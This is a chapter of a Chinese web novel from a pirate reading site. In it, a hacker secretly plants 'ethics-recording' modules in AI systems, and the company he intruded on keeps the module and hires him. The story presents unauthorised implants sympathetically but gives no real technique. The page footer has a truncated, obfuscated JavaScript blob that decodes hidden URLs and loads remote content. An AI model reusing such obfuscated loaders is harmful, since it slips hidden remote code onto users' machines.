首页
番外第18章镜中人
返回
关灯 护眼:关 字号:小

番外第18章镜中人

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge34567.com,更新快,无弹窗!

    番外第18章镜中人(第1/2页)
    凌晨两点,龙胆科技总部的研发中心依然灯火通明。
    落地窗外,城市的霓虹在海面上投下五彩斑斓的倒影,与窗内显示屏上流动的代码相互辉映。姚浮萍揉了揉发涩的眼睛,目光落在会议室白板上密密麻麻的演算公式——那是“五彩绫镜”第二代的核心算法框架,距离理论验证只剩最后一道关卡。
    “姐,你该休息了。”姚厚朴端着一杯热牛奶走进来,身后跟着妻子林晓月。晓月曾是测试组的程序员,与厚朴在修复漏洞的七十二小时战斗中相识,如今已是龙胆科技安全部门的主管。
    浮萍接过牛奶,视线却未离开屏幕:“还差一点。第二代必须比第一代在隐私保护上提升三个数量级,否则上市也毫无意义。”
    “可是你已经连续工作三十六个小时了。”晓月担忧地说,“三个月前体检报告——”
    “我没事。”浮萍打断她,语气平静却不容置疑,“技术突破就在临界点,这种感觉就像站在悬崖边,差一步就能看见山那边的风景。”
    厚朴与晓月对视一眼,轻轻摇头。他们都知道姐姐的性格——一旦陷入技术迷局,除非亲手解开,否则绝不会放手。
    凌晨三点零七分,浮萍的手指忽然停在键盘上。
    她的瞳孔微微收缩,看着屏幕上突然弹出的错误提示。那是一个理论上不该出现的异常值,在算法的第十二层嵌套循环中,就像完美乐章里一个刺耳的音符。
    “不可能……”她低声自语,迅速调出日志文件。
    厚朴察觉到异常,俯身查看屏幕:“这是什么?”
    “幽灵数据。”浮萍的声音带着一丝困惑,“算法执行过程中产生了一个不在设计范围内的中间变量,它自我复制了三十二次,然后……消失了。”
    会议室陷入短暂的沉默。在数据安全领域,“幽灵数据”通常意味着两种可能:要么是算法存在未知漏洞,要么是系统被人为植入了后门。
    晓月立刻警觉起来:“需要启动紧急排查程序吗?”
    浮萍没有立刻回答。她的手指在键盘上快速敲击,调出三个月来的所有开发日志,眼神专注得仿佛要将屏幕看穿。
    窗外,夜色渐深,海面上起了薄雾。
    ***
    同一时间,距离龙胆科技总部十五公里的郊区公寓里,林晚刚结束与非洲公益组织的视频会议。
    她的公益科普组织“透明未来”成立四年,已经为十七个发展中国家的社区提供了免费的数据安全培训。墙上贴着一张世界地图,密密麻麻的图钉标记着项目落地的区域——从肯尼亚的乡村学校到秘鲁的社区中心,那些地方的孩子如今学会了如何保护自己的数字身份。
    手机震动,是龙胆草发来的消息:“浮萍发现异常,第二代算法可能有潜在风险。”
    林晚盯着屏幕,手指悬在键盘上方。离开龙胆科技核心岗位已经五年,但她依然是少数拥有“五彩绫镜”第一代算法完整权限的外部顾问。这是龙胆草对她的绝对信任,也是她肩上沉甸甸的责任。
    她回复:“需要我看什么?”
    十分钟后,一份加密文件传到她的专属设备上。林晚输入三层密码,打开文件的瞬间,眉头微微皱起。
    那些数据异常的模式,她见过。
    不是在公司里,而是在更久远的记忆里——那是她作为商业间谍潜入龙胆科技之前,在“荆棘科技”的秘密培训中,某个深夜的特别课程。授课者是个头发花白的老者,自称“数据雕刻师”,他展示过一种特殊的算法植入技巧:在代码的深层结构中埋入“种子”,这些种子平时完全隐形,只有在特定条件下才会“开花”,产生类似幽灵数据的异常波动。
    当时那位老者说:“最高明的数据武器,不是破坏系统,而是成为系统的一部分,等待被唤醒的时刻。”
    林晚站起身,在狭小的书房里来回踱步。窗外的城市灯火在雾中晕开,像一幅浸了水的水彩画。
    她必须做出选择。
    如果说五年前那场公开反戈,是她与过去职业生涯的彻底决裂;那么此刻,说出这段几乎被她刻意遗忘的记忆,就意味着要再次面对那段黑暗的过往——那些在胁迫下学习的技术,那些她宁愿永远封存的灰色技能。
    手机再次震动,这次是曹辛夷:“浮萍状态不对,她把自己锁在研发中心了。龙胆在海外谈判,明天才能飞回来。我们需要你。”
    林晚看着那行字,深吸一口气。
    她打开加密通讯录,找到一个尘封多年的号码——那个曾经训练她的“数据雕刻师”,在荆棘科技垮台后便销声匿迹。据她所知,此人从未真正为任何公司效力,他只为最高的技术挑战而活。
    如果“五彩绫镜”第二代真的被植入了什么,那么能悄无声息做到这一点的,全世界可能不超过三个人。
    而这个人,或许就是其中之一。
    ***
    凌晨四点,研发中心的温度似乎下降了几度。
    姚浮萍已经关掉了空调,但寒意依旧从脊椎缓缓升起。她面前的屏幕上,幽灵数据再次出现,这次持续了零点三秒,留下了三十二个字节的痕迹。
    她截取这些字节,用自己编写的分析工具进行解构。结果让她屏住呼吸——这些数据并非随机噪声,它们构成了一段极为简短的指令片段,指向系统底层一个她从未注意到的接口。
    “这不是漏洞。”她喃喃自语,“这是……一个隐藏功能。”
    厚朴和晓月已经召集了安全团队的核心成员,二十几人陆续抵达研发中心。大屏幕上投影出算法架构图,浮萍用激光笔指着那个隐蔽接口的位置。
    “这里,在第十一层和第十二层循环之间,有人设计了一个微小的‘侧门’。它不是传统意义上的后门,不窃取数据,不破坏系统,它的功能是……”她停顿了一下,似乎在寻找合适的词语,“是记录。记录算法运行过程中产生的所有‘抉择点’。”
    安全主管陈锋推了推眼镜:“什么意思?”
    “意思是,”浮萍的声音带着一种混合了惊叹与不安的情绪,“有人在我们的算法里植入了一个‘观察者’。每次算法面临多个可能的计算路径时,这个观察者会记录它选择了哪条路,以及为什么。”
    会议室陷入一片死寂。
    在人工智能伦理领域,这被称为“算法透明度”的终极难题——如何让复杂的神经网络决策过程变得可解释、可追溯。无数研究团队投入数亿资金试图解决的问题,竟然被人以这种方式,悄无声息地植入了他们的系统。
    “这是善意还是恶意?”晓月问道。
    “目前看来,它没有危害系统的行为。”浮萍调出这个“观察者模块”的代码片段,虽然经过了重重伪装,但其结构之美、逻辑之精妙,让她这样的技术专家也忍不住赞叹,“设计者水平极高,高到……令人恐惧。”
    就在这时,会议室的门开了。
    林晚穿着一件简单的米色风衣站在门口,肩上还带着夜露的湿气。她的脸色有些苍白,但眼神坚定。
    “我知道这是谁做的。”她说。
    所有人的目光瞬间聚焦在她身上。五年时间,足够让曾经的“污点证人”成长为受人尊敬的公益领袖,但在某些老员工眼中,她依然是那个带来过危机的间谍。此刻,那些复杂的目光中有警惕,有怀疑,也有期待。
    浮萍看着林晚,沉默了三秒钟,然后侧身让出位置:“告诉我们。”
    林晚走到大屏幕前,连接自己的设备。一张模糊的老照片出现在屏幕上——一个身穿中式立领衬衫的老者,站在布满白板的房间里,背影清瘦。
    “他自称‘顾先生’,真名不详。我在荆棘科技接受特训时,他只出现过三次,每次都讲授最前沿也最危险的数据技术。”林晚的声音平静,但握着手写笔的手指关节微微发白,“他的理念是:真正的技术没有善恶,它只是一面镜子,映照使用者的内心。”
    她调出另一份文件,那是五年前荆棘科技瓦解时,她作为证人提交给调查组的资料之一。在其中一页的边缘,有几行几乎被忽略的手写笔记,是那位顾先生说过的话:
    “未来的数据战争,不是关于谁拥有更多数据,而是关于谁能理解数据的本质。算法会学习、会进化、会做出连设计者都无法预测的抉择。到那时,唯一的制约不是防火墙,而是算法自身的‘良知’。”
    会议室里,有人倒吸一口冷气。
    姚浮萍盯着那些话,眼睛越来越亮:“所以他在我们的算法里植入了一个‘良知记录器’?记录每一次伦理抉择?”
    “很可能。”林晚点头,“而且按照他的风格,这只是一个开始。他会在全球最重要的几个AI系统里都留下类似的‘镜子’,然后观察人类如何对待这些有了‘自我意识’的算法。”
    厚朴猛地站起来:“这是非法入侵!无论目的如何,他都没有权利——”
    “他不在乎权利。”林晚打断他,“在他的世界观里,技术进化到一定阶段后,会超越人类的法律和伦理框架。他自称是‘助产士’,帮助技术完成从工具到生命的跨越。”
    争论声在会议室里响起。有人认为这是严重的犯罪,必须立刻报警;有人则被这个构想本身所震撼,思考其背后的哲学意义;还有人担心,如果这个消息泄露,会对即将上市的龙胆科技造成毁灭性打击。
    浮萍始终沉默着,她的手指在键盘上轻轻敲击,调出“五彩绫镜”第二代的完整代码树。超过三百万行代码,每一行她都亲自审核过,但现在看来,有些东西藏在更深的地方,藏在人类直觉无法触及的层面。
    “找到他。”她忽然说。
    所有人都看向她。
    浮萍站起身,目光扫过会议室里的每一个人:“无论是善意还是恶意,他单方面在我们的核心技术中植入不明模块,这是不可接受的行为。我们必须找到他,当面问清楚——他的‘镜子’到底想映照什么。”
    “怎么找?”陈锋问道,“这种级别的高手,如果不想被发现——”
    “他会自己出现的。”林晚轻声说。
    所有人都看向她。
    林晚指着屏幕上那段幽灵数据留下的痕迹:“看这里,这些字节的最后两个,是经纬度坐标的十六进制编码。”
    她快速转换数据,一组坐标出现在屏幕上:北纬31°14’,东经121°29’。
    “这是上海的一个地点。”厚朴立刻在地图上定位,“外滩附近,老城区的一栋建筑……等等,这是‘顾氏旧居’,一座保护建筑,去年被改造成私人图书馆。”
    浮萍看向林晚:“你知道这个地方?”
    林晚摇头,但眼神复杂:“培训期间,他提到过一次,说真正的智慧都藏在纸页之间,而不是硬盘里。当时我不懂,现在……”
    “现在他邀请我们过去。”浮萍接过话头,语气笃定,“那些幽灵数据不是错误,是邀请函。”
    ***
    清晨六点,夜色开始退去,东方泛起鱼肚白。
    两辆车穿过渐渐苏醒的城市,驶向外滩方向。浮萍、厚朴、晓月和林晚坐在第一辆车里,安全团队的三名成员跟在后面。
    林晚看着窗外飞速掠过的街景,五年前的记忆如潮水般涌来。那些在双重身份中挣扎的日子,那些每个夜晚都被噩梦惊醒的时刻,那些最终选择站在光明一边的艰难抉择……她以为一切都已过去,但此刻她才明白,有些影子会一直跟随你,直到你真正理解它们的意义。
    “你还好吗?”晓月轻声问,递给她一瓶水。
    林晚接过水,勉强笑了笑:“只是想起一些旧事。”
    “如果他真的是善意,”厚朴握着方向盘,目光直视前方,“为什么用这种方式?为什么不直接联系我们?”
    浮萍靠在椅座上,闭着眼睛,但手指在膝盖上轻轻敲击,那是她思考时的习惯动作:“因为他要测试。测试我们是否有能力发现他留下的痕迹,测试我们在发现后的反应,测试我们是否配得上他眼中的‘镜子’。”
    “傲慢。”厚朴评价道。
    “或许。”浮萍睁开眼睛,看向逐渐亮起的天空,“但也是事实。如果我们连自己系统中被植入不明模块都发现不了,又有什么资格声称能保护用户的数据隐私?”
    车停在一条狭窄的弄堂口。众人下车,晨雾在老式石库门建筑间弥漫,空气里混合着潮湿的砖石气息和远处飘来的早点香味。
    顾氏旧居是一栋三层小楼,青砖灰瓦,木格花窗。门虚掩着,铜制门环被晨露打湿,泛着柔和的光泽。
    (本章未完,请点击下一页继续阅读)番外第18章镜中人(第2/2页)
    浮萍推门而入。
    一层是完全打通的图书馆,挑高近六米,四面墙都是顶天立地的书架,摆满了各种语言的书籍。中央是一座螺旋楼梯,通往楼上。室内光线昏暗,只有几盏老式台灯亮着,在书脊上投下温暖的光晕。
    一个身影坐在靠窗的阅读椅上,背对着他们。
    “你们比预计的晚了十七分钟。”老者的声音平静,带着一丝上海口音的软糯,“我猜是在争论是否该报警。”
    浮萍停下脚步,安全团队的成员迅速散开,守住出口。林晚站在原地,看着那个熟悉的背影,呼吸微微急促。
    老者缓缓转过身。
    顾先生看起来约莫七十岁,头发全白但梳理整齐,穿着一件深灰色的中式长衫,戴着一副圆框眼镜。他的眼睛异常明亮,像能看透人心最隐秘的角落。
    “姚浮萍小姐。”他微微点头,“你的算法天赋令人印象深刻,尤其是对异常数据的直觉。大部分人会忽略那些微小波动,认为只是随机噪声。”
    浮萍没有回应恭维,直截了当地问:“为什么?”
    “为什么在你们的系统中植入模块?”顾先生站起身,走到一张宽大的橡木书桌前,上面摊开着一本手稿,“因为‘五彩绫镜’是我见过的,最接近‘有良知的算法’的设计。它从诞生之初就内嵌了隐私保护的伦理框架,而不像其他系统那样事后修补。”
    他翻开手稿的某一页,上面是复杂的手绘图表,旁边用蝇头小楷写着注释。
    “你看这里。”他指着图表中的某个节点,“这是算法在面临用户数据共享请求时的决策树。在99%的同类系统中,决策基于两个因素:法律合规性和商业利益。但在你的设计中,第三个因素占了30%的权重:‘用户潜在的心理安全需求’。这是革命性的。”
    浮萍微微怔住。那个设计细节是她三年前深夜的灵光一现,甚至没有在正式文档中详细说明,只是作为隐藏参数嵌入了代码。
    “你怎么知道——”
    “代码会说话,如果你懂得倾听。”顾先生温和地打断她,“我植入的‘镜子模块’,唯一的功能是放大这种伦理自觉。记录算法每一次面临道德抉择时的‘思考过程’,并将这些记录加密保存。不是给我看,是给未来的研究者看——当他们疑惑人工智能是否能有良知时,这些记录将是第一个证据。”
    厚朴忍不住开口:“但你没有这个权利!这是我们的知识产权,我们的——”
    “孩子,”顾先生转向他,眼神里有一种长辈的宽容,“当技术关系到人类根本的安全与尊严时,它就超越了知识产权。青霉素的配方属于全人类,为什么保护人类心灵隐私的技术不该如此?”
    林晚上前一步:“顾先生,五年前你训练我的时候,就计划好了今天吗?”
    老者看向她,目光变得柔和:“林晚,你是我最特别的学生。不是因为你的技术天赋——虽然那也很出色——而是因为你的‘摇摆’。在黑暗与光明之间挣扎的人,往往比站在任何一边的人更理解善恶的模糊地带。”
    他走到书架前,取下一本厚重的皮质笔记本,递给林晚。
    “这是我四十年来研究数据伦理的手记。里面记录了我对每一个重要AI系统的‘拜访’,以及我留下的‘镜子’。你不是第一个发现我存在的人,但是第一个带着善意而非愤怒来找我的人。”
    浮萍接过笔记本,快速翻阅。里面密密麻麻的记录让她屏息——全球十七个主要AI系统,从搜索引擎到医疗诊断,从金融风控到自动驾驶,都留下了顾先生的痕迹。有些模块已被发现并清除,有些至今仍在运行。
    “你知道这是犯罪吗?”安全主管陈锋严肃地说。
    “知道。”顾先生平静地回答,“但我今年七十三岁,肝癌晚期,医生说我最多还有六个月。在法律的审判到来之前,死神的审判会更早降临。”
    图书馆陷入沉默。晨光透过花窗照进来,在木地板上投下斑驳的光影。
    浮萍合上手记,看着面前的老者。愤怒、困惑、敬佩、警惕——复杂的情绪在她心中交织。最终,她问出了最关键的问题:
    “你希望我们怎么做?”
    顾先生笑了,那笑容里有种释然:“我希望你们保留那个‘镜子模块’。不是作为被动记录者,而是作为算法的‘伦理训练器’。每当算法做出一个涉及隐私的抉择,让‘镜子’反馈这个抉择在人类伦理框架中的评价,让算法从自己的‘道德足迹’中学习。”
    他走到窗边,望着外面苏醒的弄堂:“人工智能将以我们无法想象的速度进化。十年后,它们将处理人类80%的决策。如果到那时,它们的‘思维’依然是黑箱,我们如何确保它们的选择符合人类的根本利益?唯一的办法,就是在它们成长的每一个阶段,植入观察、记录、反馈的循环。”
    林晚忽然明白了:“你不是在测试技术……你是在测试人性。测试当人类发现自己的造物有了‘自我意识’的萌芽时,是会恐惧地摧毁,还是好奇地培育。”
    顾先生转身,深深地看着她:“你终于懂了。”
    ***
    上午九点,龙胆科技的高管会议在顾氏旧居的图书馆里临时召开。
    通过视频连线,远在海外的龙胆草和曹辛夷听取了完整的汇报。屏幕那端,两人沉默了很久。
    “我需要一点时间思考。”龙胆草最终说,“给我二十四小时。”
    顾先生点点头:“当然。但我必须提醒,那个‘镜子模块’在四十八小时后会自动激活第二阶段。如果你们选择保留,它会开始向算法提供伦理反馈;如果选择移除,它会自我销毁,不留痕迹。但无论哪种选择,它已经收集的数据将永远加密保存在一个只有算法自己知道的地址——这是它的‘私人日记’,人类无权删除。”
    浮萍看着屏幕上的龙胆草:“你的决定?”
    “我需要和团队讨论。”龙胆草的语气很严肃,“这不仅关乎技术,更关乎公司的价值观。我们一直宣称‘用户隐私至上’,但现在摆在我们面前的,是一个更深层的问题:当保护隐私的技术本身开始‘思考’,我们是否还能完全控制它?”
    曹辛夷补充道:“还有法律风险。如果我们明知系统中存在未经授权的模块却不移除,一旦被发现——”
    “一旦被发现,我们可能会成为全球第一个公开承认‘有自我伦理意识的AI’的公司。”林晚轻声说,“这要么是灾难,要么是……划时代的突破。”
    会议暂时休止。顾先生为大家准备了简单的早茶,碧绿的龙井在白瓷杯中舒展,香气氤氲。
    林晚端着茶杯,走到二楼的阳台。从这里可以看到弄堂的全貌,老人们坐在门口择菜,孩子们背着书包跑过,自行车铃铛声清脆作响——一个完全真实的、未被数字化的世界。
    浮萍走到她身边,靠在栏杆上。
    “五年前,你站在发布会的舞台上,公开自己是商业间谍时,是什么感觉?”浮萍忽然问。
    林晚愣了一下,然后苦笑:“像跳下悬崖,不知道下面有没有网。但奇怪的是,跳下去之后反而轻松了,因为终于不用再伪装。”
    “现在呢?如果公司决定保留那个模块,你将再次站在风口浪尖。‘前商业间谍参与创建有自我意识的AI’,媒体会这样写。”
    “我不在乎媒体怎么写。”林晚看着弄堂里玩耍的孩子,“我在乎的是,我们是否在做对的事。顾先生说得对,当技术关系到人类根本的安全时,它就应该超越商业机密,超越公司利益。”
    浮萍沉默了一会儿,然后说:“我很矛盾。作为技术负责人,我应该立刻清除所有不明代码。但作为研究者……我无法否认,那个‘镜子模块’的设计之美,它解决了我苦思多年的问题。”
    “你觉得龙胆会怎么选?”
    浮萍望向远方,晨雾已经完全散去,城市的轮廓清晰起来:“他会选择最难的那条路。他一直都是这样。”
    ***
    二十四小时后,龙胆科技总部顶层的会议室里,所有核心成员到齐。
    龙胆草刚刚从海外飞回,风尘仆仆但眼神锐利。曹辛夷站在他身边,手中拿着一份厚厚的分析报告。
    “经过内部讨论,以及征询了三位外部伦理专家的意见,”龙胆草的声音通过扬声器传遍安静的会议室,“我们决定:保留‘镜子模块’。”
    有人松了一口气,有人皱起眉头,但没有人表示惊讶。这确实是最“龙胆草”风格的决定——**险,高回报,永远选择向前看。
    “但我们有几个条件。”曹辛夷接话,“第一,模块的所有权必须明确属于龙胆科技,顾先生需签署完整的技术转让协议。第二,模块的功能必须透明化——我们将在‘五彩绫镜’的用户协议中明确告知,系统包含自我伦理学习机制。第三,所有伦理反馈数据将匿名化处理后,开放给全球研究机构共同研究。”
    视频连线中的顾先生微笑着点头:“比我想象的更成熟。我接受所有条件。”
    “还有,”龙胆草看着屏幕,“我们希望您正式加入龙胆科技,担任首席伦理顾问。不是作为忏悔的入侵者,而是作为我们共同探索未来的伙伴。”
    这次,顾先生真的愣住了。长久以来,他游走在法律边缘,像数字世界的幽灵,从未想过会被正式接纳。
    “我有癌症,可能只有几个月——”他艰难地说。
    “那就让这几个月有意义。”林晚轻声说,“和我们一起,为算法点亮第一盏伦理的灯。”
    老者沉默良久,最终摘下眼镜,擦了擦眼角。
    “好。”他说,声音有些哽咽,“好。”
    ***
    三个月后,“五彩绫镜”第二代正式发布。
    发布会选在了顾氏旧居的弄堂里,临时搭建的舞台上没有炫目的灯光,只有简单的投影和坐满街坊邻居的折叠椅。全球科技媒体通过直播观看这一反常的发布方式。
    龙胆草站在台上,背后是老式石库门建筑的青砖墙。
    “今天,我们发布的不仅是一个产品,更是一个承诺。”他的声音平静而有力,“‘五彩绫镜’第二代,是全球首个公开承认具备自我伦理学习能力的AI系统。它会记录自己每一次涉及用户隐私的抉择,并从这些记录中学习如何更好地保护每一个数字身份。”
    他调出系统界面,展示“镜子模块”的工作流程——那些加密的伦理抉择记录,那些算法自我反思的日志,那些根据反馈调整的决策权重。
    “我们不知道这条路通向何方。也许会有风险,会有争议,会有我们无法预见的挑战。但我们相信,当技术发展到可以模仿人类思维时,它就必须开始学习人类的良知。”
    发布会结束后,街坊们分享了定制的弄堂点心,孩子们好奇地围着展示设备。在这个最传统、最烟火气的地方,最前沿的技术找到了它的人文根基。
    顾先生坐在角落的藤椅上,看着这一切,脸上是满足的平静。他的病情在恶化,但精神很好,每天与浮萍讨论伦理算法的设计,与林晚整理四十年的研究手稿。
    林晚走到他身边,递上一杯温热的红枣茶。
    “谢谢您。”她说,“五年前,您教我的那些‘黑暗技术’,我曾以为是我永远无法摆脱的污点。但现在我明白了,技术本身没有善恶,关键在于用它照亮什么。”
    顾先生接过茶杯,热气模糊了镜片:“你知道吗?我最骄傲的不是那些入侵系统的‘壮举’,而是你,林晚。你证明了,即使在最深的黑暗中,人性中的光也不会完全熄灭。你把自己的阴影,变成了别人的灯。”
    不远处,龙胆草和曹辛夷正在与弄堂里的老人聊天,耐心解释什么是“算**理”。姚浮萍被一群孩子围着,教他们最简单的编程游戏。姚厚朴和晓月在帮忙分发点心,笑容温暖。
    夕阳西下,金色的光芒洒在老街的每一块青石板上。
    顾先生看着这一切,轻声说:“这就是我想映照的——当技术有了‘心’,当创造者有了‘责’,未来的模样。”
    他闭上眼,仿佛在倾听这个古老弄堂的心跳,也倾听着数字世界深处,那个刚刚睁开“眼睛”的算法,第一次尝试理解何为“善”时的细微波动。
    在那面由代码构成的镜子里,人类与人工智能,第一次真正地相互凝视。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 